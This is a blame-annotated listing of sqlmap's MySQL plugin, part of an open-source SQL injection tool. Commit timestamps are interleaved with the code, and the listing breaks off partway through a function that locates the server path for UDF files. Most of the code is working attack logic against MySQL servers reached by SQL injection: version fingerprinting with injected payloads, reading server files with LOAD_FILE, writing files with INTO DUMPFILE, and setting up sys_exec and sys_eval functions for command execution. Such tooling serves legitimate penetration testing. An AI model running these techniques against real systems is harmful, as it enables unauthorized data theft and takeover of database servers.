2008-10-15 19:38:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2008-10-15 19:56:32 +04:00
|
|
|
$Id$
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
|
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
|
|
the terms of the GNU General Public License as published by the Free
|
|
|
|
Software Foundation version 2 of the License.
|
|
|
|
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
|
|
details.
|
|
|
|
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
|
|
"""
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
import os
|
2008-10-15 19:38:22 +04:00
|
|
|
import re
|
|
|
|
|
|
|
|
from lib.core.agent import agent
|
2008-11-16 02:41:31 +03:00
|
|
|
from lib.core.common import formatDBMSfp
|
2008-11-18 20:42:46 +03:00
|
|
|
from lib.core.common import formatFingerprint
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import getHtmlErrorFp
|
2010-02-04 17:50:54 +03:00
|
|
|
from lib.core.common import normalizePath
|
2010-02-04 17:37:00 +03:00
|
|
|
from lib.core.common import ntToPosixSlashes
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import randomInt
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import randomStr
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import paths
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.exception import sqlmapNoneDataException
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.exception import sqlmapSyntaxException
|
|
|
|
from lib.core.session import setDbms
|
|
|
|
from lib.core.settings import MYSQL_ALIASES
|
2008-10-26 20:00:07 +03:00
|
|
|
from lib.core.settings import MYSQL_SYSTEM_DBS
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.unescaper import unescaper
|
|
|
|
from lib.request import inject
|
|
|
|
from lib.request.connect import Connect as Request
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.techniques.inband.union.test import unionTest
|
|
|
|
from lib.techniques.inband.union.use import unionUse
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
from plugins.generic.enumeration import Enumeration
|
|
|
|
from plugins.generic.filesystem import Filesystem
|
|
|
|
from plugins.generic.fingerprint import Fingerprint
|
2009-04-22 15:48:07 +04:00
|
|
|
from plugins.generic.misc import Miscellaneous
|
2008-10-15 19:38:22 +04:00
|
|
|
from plugins.generic.takeover import Takeover
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This class defines MySQL methods
|
|
|
|
"""
|
|
|
|
|
|
|
|
def __init__(self):
|
2009-09-26 03:03:45 +04:00
|
|
|
self.__basedir = None
|
|
|
|
self.__datadir = None
|
|
|
|
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
|
|
|
self.sysUdfs = {
|
|
|
|
# UDF name: UDF return data-type
|
|
|
|
"sys_exec": { "return": "int" },
|
|
|
|
"sys_eval": { "return": "string" },
|
|
|
|
"sys_bineval": { "return": "int" }
|
|
|
|
}
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
Enumeration.__init__(self, "MySQL")
|
2009-04-22 15:48:07 +04:00
|
|
|
Filesystem.__init__(self)
|
|
|
|
Takeover.__init__(self)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
unescaper.setUnescape(MySQLMap.unescape)
|
|
|
|
|
|
|
|
@staticmethod
|
2008-11-02 21:17:12 +03:00
|
|
|
def unescape(expression, quote=True):
|
|
|
|
if quote:
|
|
|
|
while True:
|
|
|
|
index = expression.find("'")
|
|
|
|
if index == -1:
|
|
|
|
break
|
|
|
|
|
|
|
|
firstIndex = index + 1
|
|
|
|
index = expression[firstIndex:].find("'")
|
|
|
|
|
|
|
|
if index == -1:
|
|
|
|
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
|
|
|
|
|
|
|
lastIndex = firstIndex + index
|
|
|
|
old = "'%s'" % expression[firstIndex:lastIndex]
|
|
|
|
unescaped = ""
|
|
|
|
|
|
|
|
for i in range(firstIndex, lastIndex):
|
|
|
|
unescaped += "%d" % (ord(expression[i]))
|
|
|
|
if i < lastIndex - 1:
|
|
|
|
unescaped += ","
|
|
|
|
|
|
|
|
expression = expression.replace(old, "CHAR(%s)" % unescaped)
|
|
|
|
else:
|
|
|
|
unescaped = "CHAR("
|
|
|
|
unescaped += ",".join("%d" % ord(c) for c in expression)
|
|
|
|
unescaped += ")"
|
|
|
|
|
|
|
|
expression = unescaped
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
return expression
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def escape(expression):
|
|
|
|
while True:
|
|
|
|
index = expression.find("CHAR(")
|
|
|
|
if index == -1:
|
|
|
|
break
|
|
|
|
|
|
|
|
firstIndex = index
|
|
|
|
index = expression[firstIndex:].find(")")
|
|
|
|
|
|
|
|
if index == -1:
|
|
|
|
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
|
|
|
|
|
|
|
lastIndex = firstIndex + index + 1
|
|
|
|
old = expression[firstIndex:lastIndex]
|
|
|
|
oldUpper = old.upper()
|
|
|
|
oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
|
|
|
|
oldUpper = oldUpper.split(",")
|
|
|
|
|
|
|
|
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
|
|
|
expression = expression.replace(old, escaped)
|
|
|
|
|
|
|
|
return expression
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def __commentCheck(self):
|
2009-04-22 15:48:07 +04:00
|
|
|
infoMsg = "executing MySQL comment injection fingerprint"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
query = agent.prefixQuery(" /* NoValue */")
|
2008-10-15 19:38:22 +04:00
|
|
|
query = agent.postfixQuery(query)
|
|
|
|
payload = agent.payload(newValue=query)
|
|
|
|
result = Request.queryPage(payload)
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if not result:
|
2008-10-15 19:38:22 +04:00
|
|
|
warnMsg = "unable to perform MySQL comment injection"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
return None
|
|
|
|
|
2010-01-12 14:21:28 +03:00
|
|
|
# MySQL valid versions updated on 01/2010
|
2008-10-15 19:38:22 +04:00
|
|
|
versions = (
|
2010-01-12 14:21:28 +03:00
|
|
|
(32200, 32234), # MySQL 3.22
|
|
|
|
(32300, 32360), # MySQL 3.23
|
|
|
|
(40000, 40032), # MySQL 4.0
|
|
|
|
(40100, 40123), # MySQL 4.1
|
|
|
|
(50000, 50090), # MySQL 5.0
|
|
|
|
(50100, 50142), # MySQL 5.1
|
|
|
|
(50400, 50405), # MySQL 5.4
|
|
|
|
(50500, 50502), # MySQL 5.5
|
|
|
|
(60000, 60011), # MySQL 6.0
|
2008-10-15 19:38:22 +04:00
|
|
|
)
|
|
|
|
|
|
|
|
for element in versions:
|
|
|
|
prevVer = None
|
|
|
|
|
|
|
|
for version in range(element[0], element[1] + 1):
|
|
|
|
randInt = randomInt()
|
|
|
|
version = str(version)
|
2008-11-12 03:36:50 +03:00
|
|
|
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
2008-10-15 19:38:22 +04:00
|
|
|
query = agent.postfixQuery(query)
|
|
|
|
payload = agent.payload(newValue=query)
|
|
|
|
result = Request.queryPage(payload)
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if result:
|
2008-11-04 19:05:43 +03:00
|
|
|
if not prevVer:
|
|
|
|
prevVer = version
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if version[0] == "3":
|
|
|
|
midVer = prevVer[1:3]
|
|
|
|
else:
|
|
|
|
midVer = prevVer[2]
|
|
|
|
|
|
|
|
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
|
|
|
|
|
|
|
|
return trueVer
|
|
|
|
|
|
|
|
prevVer = version
|
|
|
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
def getFingerprint(self):
|
2008-11-18 20:42:46 +03:00
|
|
|
value = ""
|
|
|
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
|
|
|
|
|
|
|
if wsOsFp:
|
|
|
|
value += "%s\n" % wsOsFp
|
2008-11-17 14:22:03 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.data.banner:
|
2008-11-18 20:42:46 +03:00
|
|
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
2008-11-17 14:22:03 +03:00
|
|
|
|
2008-11-18 20:42:46 +03:00
|
|
|
if dbmsOsFp:
|
|
|
|
value += "%s\n" % dbmsOsFp
|
2008-11-17 14:22:03 +03:00
|
|
|
|
|
|
|
value += "back-end DBMS: "
|
|
|
|
actVer = formatDBMSfp()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if not conf.extensiveFp:
|
2008-11-17 03:00:54 +03:00
|
|
|
value += actVer
|
|
|
|
return value
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
comVer = self.__commentCheck()
|
|
|
|
blank = " " * 15
|
|
|
|
value += "active fingerprint: %s" % actVer
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if comVer:
|
2008-11-16 02:41:31 +03:00
|
|
|
comVer = formatDBMSfp([comVer])
|
2008-10-15 19:38:22 +04:00
|
|
|
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
|
|
|
|
2008-11-17 20:41:02 +03:00
|
|
|
if kb.bannerFp:
|
2008-11-18 20:42:46 +03:00
|
|
|
banVer = kb.bannerFp["dbmsVersion"]
|
2008-11-17 14:22:03 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if re.search("-log$", kb.data.banner):
|
2008-10-15 19:38:22 +04:00
|
|
|
banVer += ", logging enabled"
|
2008-11-17 14:22:03 +03:00
|
|
|
|
2008-11-16 02:41:31 +03:00
|
|
|
banVer = formatDBMSfp([banVer])
|
2008-10-15 19:38:22 +04:00
|
|
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
|
|
|
|
2008-11-17 03:00:54 +03:00
|
|
|
htmlErrorFp = getHtmlErrorFp()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-17 03:00:54 +03:00
|
|
|
if htmlErrorFp:
|
|
|
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
return value
|
|
|
|
|
|
|
|
def checkDbms(self):
|
2008-10-29 18:32:12 +03:00
|
|
|
"""
|
|
|
|
References for fingerprint:
|
|
|
|
|
2010-01-12 14:21:28 +03:00
|
|
|
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
|
|
|
|
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
|
|
|
|
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
|
|
|
|
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
|
|
|
|
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
2008-10-29 18:32:12 +03:00
|
|
|
"""
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
|
|
|
setDbms("MySQL %s" % kb.dbmsVersion[0])
|
|
|
|
|
|
|
|
if int(kb.dbmsVersion[0]) >= 5:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.has_information_schema = True
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
self.getBanner()
|
2008-11-17 14:22:03 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if not conf.extensiveFp:
|
|
|
|
return True
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
infoMsg = "testing MySQL"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
randInt = str(randomInt(1))
|
|
|
|
|
2008-12-23 02:26:44 +03:00
|
|
|
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
|
|
|
result = Request.queryPage(payload)
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if result:
|
2009-04-22 15:48:07 +04:00
|
|
|
infoMsg = "confirming MySQL"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-31 00:24:01 +03:00
|
|
|
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
2008-12-23 02:26:44 +03:00
|
|
|
result = Request.queryPage(payload)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if not result:
|
2008-10-15 19:38:22 +04:00
|
|
|
warnMsg = "the back-end DMBS is not MySQL"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
return False
|
|
|
|
|
2008-10-29 18:32:12 +03:00
|
|
|
# Determine if it is MySQL >= 5.0.0
|
2009-04-22 15:48:07 +04:00
|
|
|
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt:
|
|
|
|
kb.data.has_information_schema = True
|
|
|
|
kb.dbmsVersion = [">= 5.0.0"]
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
setDbms("MySQL 5")
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
self.getBanner()
|
2008-11-17 14:22:03 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if not conf.extensiveFp:
|
|
|
|
return True
|
|
|
|
|
2010-01-12 14:21:28 +03:00
|
|
|
# Check if it is MySQL >= 5.5.0
|
2010-01-12 14:43:32 +03:00
|
|
|
if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6":
|
2010-01-12 14:21:28 +03:00
|
|
|
kb.dbmsVersion = [">= 5.5.0"]
|
|
|
|
|
|
|
|
# Check if it is MySQL >= 5.1.2 and < 5.5.0
|
|
|
|
elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
|
|
|
|
if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
|
|
|
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
|
|
|
|
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
|
|
|
kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
|
2009-04-22 15:48:07 +04:00
|
|
|
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
2008-10-29 18:32:12 +03:00
|
|
|
kb.dbmsVersion = ["= 5.1.6"]
|
2009-04-22 15:48:07 +04:00
|
|
|
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
2008-10-29 18:32:12 +03:00
|
|
|
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
|
|
|
|
else:
|
2009-01-03 02:21:31 +03:00
|
|
|
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
2008-10-29 18:32:12 +03:00
|
|
|
|
2010-01-12 14:21:28 +03:00
|
|
|
# Check if it is MySQL >= 5.0.0 and < 5.1.2
|
2009-04-22 15:48:07 +04:00
|
|
|
elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
|
2008-10-29 18:32:12 +03:00
|
|
|
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
2009-04-22 15:48:07 +04:00
|
|
|
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
|
2008-10-29 18:32:12 +03:00
|
|
|
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
|
|
|
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
|
|
|
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2008-10-29 18:32:12 +03:00
|
|
|
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
|
|
|
|
|
|
|
|
# Otherwise assume it is MySQL < 5.0.0
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
|
|
|
kb.dbmsVersion = ["< 5.0.0"]
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
setDbms("MySQL 4")
|
|
|
|
|
|
|
|
self.getBanner()
|
2008-11-17 14:22:03 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if not conf.extensiveFp:
|
|
|
|
return True
|
|
|
|
|
2008-10-31 02:20:14 +03:00
|
|
|
# Check which version of MySQL < 5.0.0 it is
|
2008-10-15 19:38:22 +04:00
|
|
|
coercibility = inject.getValue("COERCIBILITY(USER())")
|
2008-10-29 18:32:12 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if coercibility == "3":
|
|
|
|
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
|
|
|
|
elif coercibility == "2":
|
|
|
|
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
|
|
|
|
elif inject.getValue("CURRENT_USER()"):
|
|
|
|
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
|
|
|
|
|
|
|
|
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
|
|
|
|
kb.dbmsVersion = ["= 4.1.0"]
|
|
|
|
else:
|
|
|
|
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
|
2009-04-22 15:48:07 +04:00
|
|
|
elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
|
2008-10-15 19:38:22 +04:00
|
|
|
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
|
|
|
|
elif inject.getValue("CONNECTION_ID()"):
|
|
|
|
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
|
|
|
|
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
|
|
|
|
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
|
|
|
|
else:
|
|
|
|
kb.dbmsVersion = ["< 3.22.11"]
|
|
|
|
|
|
|
|
return True
|
|
|
|
else:
|
|
|
|
warnMsg = "the back-end DMBS is not MySQL"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
return False
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def checkDbmsOs(self, detailed=False):
|
|
|
|
if kb.os:
|
|
|
|
return
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
infoMsg = "fingerprinting the back-end DBMS operating system"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if datadirSubstr == "/":
|
|
|
|
kb.os = "Linux"
|
|
|
|
else:
|
|
|
|
kb.os = "Windows"
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
self.cleanup(onlyFileTbl=True)
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def unionReadFile(self, rFile):
|
|
|
|
infoMsg = "fetching file: '%s'" % rFile
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
|
|
|
|
|
|
|
|
return result
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def stackedReadFile(self, rFile):
|
|
|
|
infoMsg = "fetching file: '%s'" % rFile
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
2009-04-22 15:48:07 +04:00
|
|
|
self.getRemoteTempPath()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
|
|
|
|
debugMsg += "into temporary file '%s'" % tmpFile
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
|
|
|
|
|
|
|
|
debugMsg = "loading the content of hexadecimal encoded file "
|
|
|
|
debugMsg += "'%s' into support table" % rFile
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
|
|
|
|
|
|
|
|
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
|
|
|
|
|
|
|
|
if not length.isdigit() or not len(length) or length in ( "0", "1" ):
|
|
|
|
errMsg = "unable to retrieve the content of the "
|
|
|
|
errMsg += "file '%s'" % rFile
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
|
|
|
length = int(length)
|
|
|
|
sustrLen = 1024
|
|
|
|
|
|
|
|
if length > sustrLen:
|
|
|
|
result = []
|
|
|
|
|
|
|
|
for i in range(1, length, sustrLen):
|
|
|
|
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)
|
|
|
|
|
|
|
|
result.append(chunk)
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return result
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
|
|
logger.debug("encoding file to its hexadecimal string value")
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
fcEncodedList = self.fileEncode(wFile, "hex", True)
|
|
|
|
fcEncodedStr = fcEncodedList[0]
|
|
|
|
fcEncodedStrLen = len(fcEncodedStr)
|
|
|
|
|
|
|
|
if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
|
|
|
|
warnMsg = "the injection is on a GET parameter and the file "
|
|
|
|
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
|
|
|
warnMsg += "bytes, this might cause errors in the file "
|
|
|
|
warnMsg += "writing process"
|
|
|
|
logger.warn(warnMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
unionTest()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
oldParamFalseCond = conf.paramFalseCond
|
|
|
|
conf.paramFalseCond = True
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
|
|
|
logger.debug(debugMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
|
|
|
|
unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
conf.paramFalseCond = oldParamFalseCond
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if confirm:
|
2009-04-22 15:48:07 +04:00
|
|
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
|
|
debugMsg = "creating a support table to write the hexadecimal "
|
|
|
|
debugMsg += "encoded file to"
|
2010-01-02 05:02:12 +03:00
|
|
|
logger.debug(debugMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
logger.debug("encoding file to its hexadecimal string value")
|
2009-04-22 15:48:07 +04:00
|
|
|
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
|
|
|
|
|
|
|
debugMsg = "forging SQL statements to write the hexadecimal "
|
|
|
|
debugMsg += "encoded file to the support table"
|
|
|
|
logger.debug(debugMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.debug("inserting the hexadecimal encoded file to the support table")
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
for sqlQuery in sqlQueries:
|
|
|
|
inject.goStacked(sqlQuery)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
|
|
|
logger.debug(debugMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
2009-09-26 03:03:45 +04:00
|
|
|
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if confirm:
|
2009-04-22 15:48:07 +04:00
|
|
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def udfSetRemotePath(self):
|
2009-04-22 15:48:07 +04:00
|
|
|
self.getVersionFromBanner()
|
|
|
|
|
|
|
|
banVer = kb.bannerFp["dbmsVersion"]
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
# On Windows
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.os == "Windows":
|
2010-01-02 05:02:12 +03:00
|
|
|
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
2009-09-26 03:03:45 +04:00
|
|
|
if banVer >= "5.1.19":
|
|
|
|
if self.__basedir is None:
|
2010-01-02 05:02:12 +03:00
|
|
|
logger.info("retrieving MySQL base directory absolute path")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
|
|
|
self.__basedir = inject.getValue("SELECT @@basedir")
|
2010-02-04 17:50:54 +03:00
|
|
|
self.__basedir = normalizePath(ntToPosixSlashes(self.__basedir))
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
2010-01-02 05:02:12 +03:00
|
|
|
kb.os = "Windows"
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
